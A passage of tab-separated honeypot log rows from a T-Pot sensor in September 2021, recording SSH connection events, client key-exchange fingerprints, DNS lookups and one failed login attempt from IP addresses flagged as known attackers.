["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58458, "dest_port": 22, "timestamp": "2021-09-20T11:09:29.041914Z", "@timestamp": "2021-09-20T11:09:29.041Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25267	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:30.076472+03	2021-09-20 14:15:09.8955+03	{"_id": "CgblAnwBvYTbRNuEjBg0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:51924 (192.168.176.2:22) [session: d941266a32aa]", "session": "d941266a32aa", "@version": "1", "protocol": "ssh", "src_port": 51924, "dest_port": 22, "timestamp": "2021-09-20T11:09:30.076472Z", "@timestamp": "2021-09-20T11:09:30.076Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
40339	192.168.20.105	109.199.241.180	Suricata	2021-09-20 15:43:06.174693+03	2021-09-20 15:45:03.930049+03	{"_id": "3QY7A3wBvYTbRNuEP3vU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.105", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:43:06.174693Z", "@timestamp": "2021-09-20T12:43:06.174Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
25269	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:30.24923+03	2021-09-20 14:15:09.89847+03	{"_id": "DgblAnwBvYTbRNuEjBg0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "379b83e9db7f", "@version": "1", "timestamp": "2021-09-20T11:09:30.249230Z", "@timestamp": "2021-09-20T11:09:30.249Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25270	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:09:30.247805+03	2021-09-20 14:15:09.899517+03	{"_id": "GQblAnwBvYTbRNuEjhh_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1323373576172299, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 50678, "dest_port": 22, "timestamp": "2021-09-20T11:09:30.247805Z", "@timestamp": "2021-09-20T11:09:30.247Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25271	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:09:30.248587+03	2021-09-20 14:15:09.901508+03	{"_id": "GwblAnwBvYTbRNuEjxiJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 50678, "dest_port": 22, "timestamp": "2021-09-20T11:09:30.248587", "@timestamp": "2021-09-20T11:09:30.248Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25272	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:09:34.66867+03	2021-09-20 14:15:09.902501+03	{"_id": "fwblAnwBvYTbRNuEnhgg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1662091877331414, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 43866, "dest_port": 22, "timestamp": "2021-09-20T11:09:34.668670Z", "@timestamp": "2021-09-20T11:09:34.668Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25296	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:51.530719+03	2021-09-20 14:15:09.9355+03	{"_id": "DQblAnwBvYTbRNuE4hpB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "a9acc82a5d8e", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:51.530719Z", "@timestamp": "2021-09-20T11:09:51.530Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25273	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:34.668845+03	2021-09-20 14:15:09.9035+03	{"_id": "hwblAnwBvYTbRNuEnxgv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43866, "timestamp": "2021-09-20T11:09:34.668845", "@timestamp": "2021-09-20T11:09:34.668Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25274	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:34.795746+03	2021-09-20 14:15:09.905501+03	{"_id": "hgblAnwBvYTbRNuEnxgu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55948, "timestamp": "2021-09-20T11:09:34.795746", "@timestamp": "2021-09-20T11:09:34.795Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25275	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:37.055586+03	2021-09-20 14:15:09.906501+03	{"_id": "qgblAnwBvYTbRNuEpxiV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "f75dfbc026d8", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:37.055586Z", "@timestamp": "2021-09-20T11:09:37.055Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25276	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:09:39.29438+03	2021-09-20 14:15:09.9085+03	{"_id": "5gblAnwBvYTbRNuEsRis", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1939130153056879, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 38666, "dest_port": 22, "timestamp": "2021-09-20T11:09:39.294380Z", "@timestamp": "2021-09-20T11:09:39.294Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25297	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:51.580026+03	2021-09-20 14:15:09.9365+03	{"_id": "DgblAnwBvYTbRNuE4hpB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [is/is] failed", "session": "23387219f17e", "@version": "1", "password": "is", "username": "is", "timestamp": "2021-09-20T11:09:51.580026Z", "@timestamp": "2021-09-20T11:09:51.580Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25277	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:39.610123+03	2021-09-20 14:15:09.909509+03	{"_id": "6AblAnwBvYTbRNuEshi5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35820, "timestamp": "2021-09-20T11:09:39.610123", "@timestamp": "2021-09-20T11:09:39.610Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25278	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:09:34.732403+03	2021-09-20 14:15:09.910499+03	{"_id": "ggblAnwBvYTbRNuEnhgg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 30261, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1208676474825971, "@version": "1", "in_iface": "enp5s0", "src_port": 50309, "dest_port": 53, "timestamp": "2021-09-20T11:09:34.732403Z", "@timestamp": "2021-09-20T11:09:34.732Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
25279	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:09:49.943152+03	2021-09-20 14:15:09.9115+03	{"_id": "vQblAnwBvYTbRNuE2BnE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, 